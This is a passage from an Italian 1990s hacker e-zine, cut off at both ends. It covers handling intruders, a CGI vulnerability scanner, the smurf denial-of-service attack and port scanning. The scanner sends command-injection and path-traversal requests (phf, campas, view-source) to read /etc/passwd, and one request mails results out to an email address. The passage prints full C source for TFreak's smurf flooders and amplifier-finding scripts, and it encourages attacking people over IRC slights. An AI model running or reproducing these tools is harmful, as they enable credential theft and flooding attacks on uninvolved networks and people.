del CERT Il vostro sistema e' stato attaccato e voi state molto male, come potete impedire di attaccarvi di nuovo? Il primo passo e' vedere quali login stanno utilizzando e cambiarne le password. Inoltre, potete controllare il file '.rhosts' nella directory dell'account. Controllate se hanno lasciato qualche trojan nella directory '/bin' dell'account. Cercate di scoprire da quale nome di sistema provengono esaminando i file di log del sistema di rete. Poi buttateli fuori eliminando le loro shell. Provate ad eseguire il comando finger sul nome e l'indirizzo internet dell'invasore ma non serve a nulla se usa l'abbonamento di un altro. Il finger lo fate cosi': 'finger aggressore@suoprovider.it' Oppure potete inviare un messaggio di posta elettronica a root@suoprovider.it e comunicare all'amministratore che cosa sta succedendo. Inoltre potete eseguire il comando: [toor@T0rment0]# whois -h rs.internic.net nome.dominio.invasore Questo comando potrebbe fornirvi il nome di contatto del gestore di dominio. In questo caso, potrete contattarlo e fargli sapere che uno dei suoi sistemi viene utilizzato per attaccare gli altri sistemi. Se lo becchera' come minimo gli chiudera' l' abbonamento. Infine, se proprio non ci riuscite, potete contattare il CERT o il FIRST, due team di professionisti che aiutano a sviluppare metodi di protezione del sistema. Ok, in questo modo ho fatto contenti anche i sysadmin e d'ora in poi non credete che gli hacker siano quelle persone che danneggiano i sistemi. Se avete letto questo articolo avete capito la mia mentalita', ma con cio' saro' sempre 'un ragazzo ansioso di esplorare sistemi che mettono a dura prova la sua bravura (se cosi' la puo' definire) '. ############################################################################## "=__="=__="=__="=__="=__=" CGI: SCRIPT E TEORIA "=__="=__="=__="=__="=__=" Molti bug scoperti appartengono alla categoria dei CGI, ovvero prog o script che vengono rimasti in cartelle appartenenti al web che non sono visibili normalmente ma si possono richiamare mediante la richiesta. Avete mai sentito parlare del phf??? Bene, quella era un'utility, un agendina, che veniva trattata come un normale prog dai sysadmin ma in realta' rappresentava un exploit che permetteva di fare un cat al file passwd, cosa permessa solo al root. Infatti il phf era settato con i permessi di root Ma non esiste solo il phf, anche altri. Abbiamo anche il test-cgi che ci permette di vedere il contenuto dell'hard disk del server vittima. Se potremmo vedere la directory degli utenti, una volta saputo l'account potremmo tentare un brute force pop3 ovvero usare un programma che prova varie password utilizzando l'account di posta di quell'utente. Poi abbiamo campas che e' una'altra utility che se settata con i permessi giusti, ci permette di fare un cat su qualsiasi file dell'hard disk(passwd). C'e' view-source che se e' presente ci permette di vedere il contenuto di qualsiasi file (passwd e' quello che ci interessa). C'e' php.cgi che se e' presente anch'esso ci permette di vedere qualsiasi file C'e' aglimpse che e' un utility alla quale se affiancamo una stringa specifica puo' mandarci il file delle passwd via e-mail. C'e' il finger, che se tenuto nella cartella del web /cgi-bin/, si puo' richiamare attraverso un qualsiasi browser. Poi abbiamo le varie testate HTTP per ricavare informazioni. Se il server e' di frontpage, possiamo provare a chiederci i file service.pwd e users.pwd nella cartella '/_vti_pvt' se sono disponibili. Infine abbiamo www-sql , guestbook.html e guestbook.cgi che servono per ricavare informazioni e per vedere il libro degli ospiti di quel sito che a volte puo rinchiudere anche delle password di utenti. Allora, ora sappiamo tutti i vari cgi, perche' non ci costruiamo un cgi-scan? Bene ora vi faccio vedere passo passo le istruzioni da usare nello script. Useremo il netcat, che in questo caso funge da telnet, per collegarci alla porta 80 e come opzioni useremo '-v' che ci da' una spiegazione dettagliata del risultato e '-w' seguito da 5 che dice al netcat di aspettare 5 secondi, valore che potete cambiare se non ottenete niente. Come saprete, la sintassi della porta 80 per ricavare un dato su un server e' 'GET /file ' dove file e' il file che vorremo vedere. Come fare per passare questa istruzione al netcat? Eheh, useremo il pipe. Il pipe non e' nient'altro che un reindirizzatore di istruzioni. Per capirci meglio usiamo: echo "GET /file" | nc -w 5 -v $1 80 L'echo serve per mandare l'input al pipe, mentre $1 significa prendi il primo argomento specificato dalla linea di comando. Bene, ora che sappiamo tutto, all'opera! Nella prima riga specifichiamo la shell che ci vuole: #!/bin/sh Ora dovremmo usare un istruzione che controlla se e' stato specificato il sito dalla linea di comando. Il comando 'test' e' quello che fa per noi. Avremmo potuto usare anche un if ma il comando ' test ! "$1" ' e' piu' raffinato. In pratica dice: "Controlla se e' presente $1, se non lo e' dai un messaggio di errore all'utente ed esci" test ! "$1" && echo "Non dimenticarti di darmi un sito" && exit 1 Puliamo lo schermo. clear Diciamo all'utente qual'e' il sito da scannerizzare. echo "server:" echo $1 Iniziamo: echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "CONTROLLO WWW-SQL" echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "GET /cgi-bin/www-sql?" | nc -w 5 -v $1 80 echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "CONTROLLO GUESTBOOK.HTML E GUESTBOOK.CGI" echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "GET http://$1/guestbook.html" | nc -v -w 5 $1 80 echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "GET /cgi-bin/guestbook.cgi?" | nc -v -w 5 $1 80 echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "CONTROLLO SERVICE.PWD" echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "GET /_vti_pvt/service.pwd"| nc -v -w 5 $1 80 echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "CONTROLLO USERS.PWS" echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "GET /_vti_pvt/users.pwd" | nc -v -w 5 $1 80 echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "CONTROLLO LA TESTATA HEAD" echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "HEAD / HTTP/1.1" | nc -v -w 5 $1 80 echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "PRIMA VERSIONE DI HTTP" echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "GET / HTTP/1.0" | nc -w 5 -v $1 80 echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "SECONDA VERSIONE DI HTTP" echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "GET / HTTP/1.1" | nc -w 5 -v $1 80 echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "TERZA VERSIONE DI HTTP" echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "GET / HTTP/0.9" | nc -w 5 -v $1 80 echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "CONTROLLO AGLIMPSE." echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5asmasm\@hotmail.com\>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "GET /cgi-bin/man.sh?" | nc -w 5 -v $1 80 echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "VEDO LA DIRECTORY //cgi-bin/" echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "GET //cgi-bin/" | nc -v -w 5 $1 80 echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "CONTROLLO IL VIEW-SOURCE" echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "GET /cgi-bin/view-source?../../../../../../../etc/passwd'" | nc -v -w 5 $1 80 echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "CONTROLLO IL PHP.CGI" echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "GET /cgi-bin/php.cgi?/etc/passwd" | nc -v -w 5 $1 80 echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "CONTROLLO IL FINGER" echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "GET /cgi-bin/finger?@localhost" | nc -v -w 5 $1 80 echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "CONTROLLO IL CAMPAS" echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a" | nc -v -w 5 $1 80 echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "CONTROLLO IL PHF (IHIH!) " echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "GET /cgi-bin/phf?Qname=root%0Acat%20/etc/passwd%20" | nc -v -w 3 $1 80 echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "CONTROLLO IL TEST-CGI" echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "PRIMO TEST" echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "GET /cgi-bin/test-cgi?/*" | nc -v -w 3 $1 80 echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "SECONDO TEST" echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "GET /cgi-bin/test-cgi?*" | nc -v -w 3 $1 80 echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "TERZO TEST" echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "GET /cgi-bin/nph-test-cgi?*" | nc -v -w 3 $1 80 echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "QUARTO TEST" echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "GET /cgi-bin/test-cgi?x *" | nc -v -w 3 $1 80 echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "QUINTO TEST" echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "GET /cgi-bin/nph-test-cgi?x *" | nc -v -w 3 $1 80 echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "SESTO TEST" echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "GET /cgi-bin/test-cgi?x" | nc -v -w 3 $1 80 echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "SETTIMO TEST" echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "GET /cgi-bin/nph-test-cgi?x" | nc -v -w 3 $1 80 echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "OTTAVO TEST" echo "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" echo "GET /cgi-bin/nph-test-cgi?/*" | nc -v -w 3 $1 80 echo ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" echo "Ho finito ;)." Aspetto 3 secondi. sleep 3 Ok, non l'ho commentato assai nel mezzo perche' vi ho spiegato prima a cosa servivano quelle istruzioni. Se volete usare una lista di siti invece di uno solo, basta che inseriate dopo la riga dell'istruzione 'test' il seguente ciclo for target in 'cat $1' do Pero' non dimenticatevi di cambiare tutti gli $1 delle istruzioni in $target, infatti se rimmarrete $1 il netcat non trovera' niente visto che fara' lo scan su un dominio inesistente. Ah, se usate il ciclo for dovrete chiuderlo con l'istruzione 'done' che potete aggiungere alla fine del programma. Ok io il mio lavoro l'ho fatto, ora tocca a voi sbizzarirvi! ############################################################################## SmuRfSmuRf SmuRfSmuRf SmuRf-- SMURF --SmuRf SmuRfSmuRf SmuRfSmuRf Quando di voi quando sentono questa parola arricciano il naso? Mi siete sempre chiesti cosa sia lo smurf, come funziona, quali sono gli effetti e come proteggersi? T0rment0 sta qui X voi! Lo `smurf' attack e' veramente semplice. Esso usa una lista di indirizzi di broadcast, ovvero quando lo avviamo deve essere specificato un file nel quale sono contenuti molti indirizzi che piu' veloci sono meglio e', che memorizza i domini dentro ad un array , e manda un icmp di echo request spoffato ad ognuno di questi indirizzi e ricomincia. Il risultato e' un attacco devastante all'ip spoffato alla quale risponderanno moltissimi computer all'echo request Ora che sai come funziona, ti chiedi come puoi proteggerti, o no? Bene, sfortunatamente non sono sicuro di come e se e' possibile farlo potresti configurare il router in modo che rifiuti tutto il traffico icmp pero' non e' buona soluzione perche' rende le altre utilita' inutilizzabili(come il ping e il traceroute). Per prevenire il tuo server dall'essere usato per floddare e' molto facile e non reca grandi perdite al tuo server. Se filtri tutto il traffico icmp agli indirizzi broadcast al router nessuna macchina rispondera' e l'attacco non funzionera' Questo puo' essere fatto mettendo una linea nel router. La soluzione completa, se vi interessa, la trovate su: http://www.internetnews.com/isp-news/1997/10/0901-mci.html /* Smurf4.c by TFreak */ #include #include #include #include #include #include #include #include #include #include #include #include #include void banner(void); void usage(char *); void smurf(int, struct sockaddr_in, u_long, int); void ctrlc(int); unsigned short in_chksum(u_short *, int); /* stamp */ char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $"; int main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; FILE *bcastfile; int i, sock, bcast, delay, num, pktsize, cycle = 0, x; char buf[32], **bcastaddr = malloc(8192); banner(); signal(SIGINT, ctrlc); if (argc < 6) usage(argv[0]); if ((he = gethostbyname(argv[1])) == NULL) { perror("resolving source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((bcastfile = fopen(argv[2], "r")) == NULL) { perror("opening bcast file"); exit(-1); } x = 0; while (!feof(bcastfile)) { fgets(buf, 32, bcastfile); if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue; for (i = 0; i < strlen(buf); i++) if (buf[i] == '\n') buf[i] = '\0'; bcastaddr[x] = malloc(32); strcpy(bcastaddr[x], buf); x++; } bcastaddr[x] = 0x0; fclose(bcastfile); if (x == 0) { fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]); exit(-1); } if (pktsize > 1024) { fprintf(stderr, "ERROR: packet size must be < 1024\n\n"); exit(-1); } if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("."); fflush(stdout); } smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == 0x0) cycle = 0; usleep(delay); } puts("\n\n"); return 0; } void banner (void) { puts("\nsmurf.c v4.0 by TFreak\n"); } void usage (char *prog) { fprintf(stderr, "usage: %s " " \n\n" "target = address to hit\n" "bcast file = file to read broadcast addresses from\n" "num packets = number of packets to send (0 = flood)\n" "packet delay = wait between each packet (in ms)\n" "packet size = size of packet (< 1024)\n\n", prog); exit(-1); } void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) { struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); /* free willy! */ } void ctrlc (int ignored) { puts("\nDone!\n"); exit(1); } unsigned short in_chksum (u_short *addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } -------------------------------------------------------------------------------- Spiegazione piu' semplice con esempio Lo "smurf" attack, nome che deriva dal nome del programma, e' uno dei piu' recenti metodi nella categoria degli attacchi contro server. Il programma manda un grande numero di ICMP echo (ping) agli indirizzi broadcast, facendogli credere che la richiesta venga fatta dal nostro target, ma in realta' maschera' il nostro ip mettendogli quello della vittima. Se il router manda i pacchetti a questi indirizzi, molti pc collegati su quel server manderanno gli ICMP echo a quell'indirizzo Dunque se useremo un server di broadcast che e' collegato con molti pc, otterremo un effetto devastante con centinaia di echo request. Correntemente i broadcast piu' soggetti a cio' sono i provider e gli irc server. Abbiamo cosi' due parti coinvolte in questo attacco i server intemediari (broadcast) che sono chiamati siti di rimbalzo, l'indirizzo spoffato dell'obiettivo, o vittima. La vittima e' l'obbiettivo di tutto quel traffico che e' stato generato dai server di rimbalzo. Facciamo un esempio che vi schiarira' le idee. Facciamo finta che come broadcast usiamo un server che ha 100 pc collegati, e che ci troviamo dalla nostra shelluzza che ha una t1. La shelluzza manda,diciamo, a 768kb/s un insieme di ICMP echo (ping) , con l'indirizzo spoffato della vittima, all'indirizzo del nostro server di rimbalzo. Questi pacchetti colpiscono anche i 100 pc che sono collegati al broadcast; ognuno di essi ricevera' il pacchetto e rispondera' ad esso, crando 100 risposte in fuoriuscita. Se moltiplichi la velocita' per il numero deille risponde, otterrai che 76.8 Mbps sono usati dal server di rimbalzo. Questi bei megabaittini saranno mandati alla vittima con conseguente svenimento del modem(suo!). COME FARE IN MODO CHE IL VOSTRO SERVER NON VENGA USATO COME INTERMEDIARO DELLO SMURF? Potete trovare informazioni a riguardo su: ftp://ftp.internic.net/internet-drafts/draft-ferguson-ingress-filtering-02.txt ---------------------------------------------------------------------------- L'autore dello smurf, TFreak, ha rilasciato anche questi due script che servono per trovare degli indirizzi di broadcast che concedono un insieme di echo request. Lo script e' diviso in due parti e devono essere messi tutti e due nella stessa directory. --- bips.sh --- #!/bin/bash # find broadcast ip's that reply with 30+ dupes. # i decided to make this script into two sections. when running this make # sure both parts are in the same directory. if [ $# != 1 ]; then echo "$0 " else host -l $1 | grep 'has address' | cut -d' ' -f4 > $1.ips cat $1.ips | cut -d'.' -f1-3 | sort |\ awk '{ print echo ""$1".255" }' > $1.tmp cat $1.tmp | uniq | awk '{ print "./chekdup.sh "$1"" }' > $1.ping rm -f $1.ips $1.tmp chmod 700 $1.ping ./$1.ping rm $1.ping fi --- chekdup.sh --- #!/bin/bash # this checks possible broadcast ip's for a given amount of icmp echo # replies. ping -c 2 $1 > $1.out if cat $1.out | grep dupl > /dev/null then export DUPES="`cat $1.out | grep dupl | cut -d'+' -f2 | cut -d' ' -f1`" else export DUPES=1 fi if [ $DUPES -gt 30 ]; then echo "$1 had $DUPES dupes" >> bips.results rm -f $1.out else rm -f $1.out fi ----Fine script---- Quello che segue e' sempre lo stesso codice di prima, solo che e' apportato a dei sistemi operativi che hanno un minore sistema di rete, come il FreeBSD. /*Smurf5.c by TFreak*/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include void banner(void); void usage(char *); void smurf(int, struct sockaddr_in, u_long, int); void ctrlc(int); unsigned int host2ip(char *hostname); unsigned short in_chksum(u_short *, int); unsigned int host2ip(char *hostname) { static struct in_addr i; struct hostent *h; i.s_addr = inet_addr(hostname); if (i.s_addr == -1) { h = gethostbyname(hostname); if (h == NULL) { fprintf(stderr, "can't find %s\n.", hostname); exit(0); } bcopy(h->h_addr, (char *) &i.s_addr, h->h_length); } return i.s_addr; } /* stamp */ char id[] = "$Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $"; int main(int argc, char *argv[]) { struct sockaddr_in sin; FILE *bcastfile; int i, sock, bcast, delay, num, pktsize, cycle = 0, x; char buf[32], **bcastaddr = malloc(8192); banner(); signal(SIGINT, ctrlc); if (argc < 6) usage(argv[0]); sin.sin_addr.s_addr = host2ip(argv[1]); sin.sin_family = AF_INET; num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((bcastfile = fopen(argv[2], "r")) == NULL) { perror("opening bcast file"); exit(-1); } x = 0; while (!feof(bcastfile)) { fgets(buf, 32, bcastfile); if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0])) continue; for (i = 0; i < strlen(buf); i++) if (buf[i] == '\n') buf[i] = '\0'; bcastaddr[x] = malloc(32); strcpy(bcastaddr[x], buf); x++; } bcastaddr[x] = 0x0; fclose(bcastfile); if (x == 0) { fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n",argv[2]); exit(-1); } if (pktsize > 1024) { fprintf(stderr, "ERROR: packet size must be < 1024\n\n"); exit(-1); } if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast,sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("."); fflush(stdout); } smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == 0x0) cycle = 0; usleep(delay); } puts("\n\n"); return 0; } void banner(void) { puts("\nsmurf.c v5.0 by TFreak, ported by Griffin\n"); } void usage(char *prog) { fprintf(stderr, "usage: %s " " \n\n" "target = address to hit\n" "bcast file = file to read broadcast addresses from\n" "num packets = number of packets to send (0 = flood)\n" "packet delay = wait between each packet (in ms)\n" "packet size = size of packet (< 1024)\n\n", prog); exit(-1); } void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize) { struct ip *ip; struct icmp *icmp; char *packet; int hincl = 1; packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize); ip = (struct ip *) packet; icmp = (struct icmp *) (packet + sizeof(struct ip)); memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize); setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)); ip->ip_len = sizeof(struct ip) + sizeof(struct icmp) + psize; ip->ip_hl = sizeof *ip >> 2; ip->ip_v = 4; ip->ip_ttl = 255; ip->ip_tos = 0; ip->ip_off = 0; ip->ip_id = htons(getpid()); ip->ip_p = 1; ip->ip_src.s_addr = sin.sin_addr.s_addr; ip->ip_dst.s_addr = dest; ip->ip_sum = 0; icmp->icmp_type = 8; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); sendto(sock, packet, sizeof(struct ip) + sizeof(struct icmp) + psize, 0, (struct sockaddr *) & sin, sizeof(struct sockaddr)); free(packet); /* free willy! */ } void ctrlc(int ignored) { puts("\nDone!\n"); exit(1); } unsigned short in_chksum(u_short * addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } --- end --- Vi ricordo che per linux c'e' (Papa)Smurf, sempre di TFreak e se lo volete basta che andate su rootshell.com e fate una ricerca. Ok, ora che avete le idee chiare prendetevi 'na bella shell su un server che ha una T1 ed usate server di rimbalzo che ha molti pc connessi ad esso. Esempio: tin.it (ihihihih) Mi raccomando, siate prudenti e rendetevi conto che in mano avete un'arma abbastanza potente, percio' prima di attaccare qualcuno fatelo per un buon motivo. Esempio: Perche' hai scritto il mio nick con la T minuscola? Beh, io.... Ok , l'hai voluto tu! xxxxxxxx ha quit irc (dead socket) Ihihihihihih T0rmento is know as Fesso Chi e' che mi ha cambiato il nick? Ops, dovro' cambiarlo prima o poi sto' script di merda! Eheh, ihih, ehmehm, cough cough, blaaaaa.... (ndezine: Sto ragazzo ha grossa crisi!) ############################################################################## OoOoOoOoOoOoOoOoOoO o Port Surfing o OoOoOoOoOoOoOoOoOoO Questo mio articolo e' uscito gia' su Vana Imago 1 del mio caro amico Techno[K] che potete trovare all'indirizzo http://members.xoom.it/TechnoKinght/index.htm, e l'ho pubblicato qui perche' ritengo che sia un articolo molto interessante per i newbies. Molte volte abbiamo pensato di hackerare server, ma per farlo bisogna prima conoscere quali porte ha attive in modo che possiamo sfruttare dei bug che ha appunto quella porta sul quel tipo di S.O. Ad aiutarci nella ricerca delle porte vi e' il Port Surfing Il Port Surfing prende vantaggio con il TCP/IP. Che, come ben saprete, e' il protocollo (insieme di regole) usato per la comunicazione dei computer su internet. Uno dei principi base dell'Unix e' quello di assegnare una porta ad ogni servizio. Per esempio abbiamo Sendmail, le news, l'FTP, telnet ecc. Se tu vuoi visitare un sito, il tuo browser attraverso la porta 80 comunica con il sito da visitare e fa una richiesta. E, dopo, puoi entrare nel sito senza password(tranne quelli per adulti). Comunque l'essenza dell'hacking e' fare cose che non sono ovvie. Il port surfing non e' spiegato sui manuali, e' una tecnica da impararsi da soli e sperimentare prima sul proprio pc. Consiste nel collegarsi ad un pc remoto e vedere quali porta ha aperte e vedere quali sono exploitabili. Ora, se sei un newbies pigro puoi usare programmi come il Satan o il Netcat. Questi sono programmi che puoi eseguire da Linux, FreeBSD o Solaris (tutti i tipi di Unix) dal tuo PC. Essi fanno lo scan automatico a tutte le porte del tuo pc target. Ti dicono quali porte sono aperte e i loro rispettivi servizi. E quando trovano dei demoni attivi sulle porte, vedono se sono exploitabili, cioe' se esistono dei bug, e te lo comunica Un demone non e' un diavolo o una porta. Esso e' un programma che viene eseguito in background su molte ( non tutti) porte di sistemi Unix. Se trovi un demone su una porta e' probabile che si puo' hackare. E quando quei tools, satan o netcat, trovano un demone su una porta ti comunicano subito in che modo possono essere exploitati. Ci sono pero' delle reazioni usando questi programmi, per esempio: 1) Tu puoi imparare qualcosa. Ma facendolo manualmente capisci subito come viene eseguito un demone su quella porta. Credo che c'e' differenza tra usare un exploit di qualcuno e farselo da solo. 2) Tu puoi impressionare i tuoi amici. Se esegui un tool come Satan i tuoi amici ti diranno "Cavolo, Posso farlo anch'io!" Essi faranno subito scomparire il segreto del mondo hacker Molti exploit sono solo lamer eseguendo programmi presi da una bbs o un ftp Ma se tu scrivi un comando dopo l'altro, i tuoi amici capiranno subito che usi il cervello. E puoi aiutarli a giocare con i demoni e far acquisire loro dimestichezza 3) Molti hacker intelligenti usano il port surfing per scoprire qualcosa di nuovo. Ce ne sono pochissimi che scoprono nuovi bug. Il resto si apprestano soltanto ad usare gli exploit di altri. Ricordate il Port Surfing e' un'arma micidiale, sia per farvi capire il funzionamento dei demoni, sia per hackare una macchina protetta e capire che alla fin fine ha qualcosa di insicuro. Ora vedrete un esempio di port surfing su un sistema. Prima cosa ho deciso di non perdere piu' tempo e di puntare sul grosso! Come faccio a trovare un server di grosse 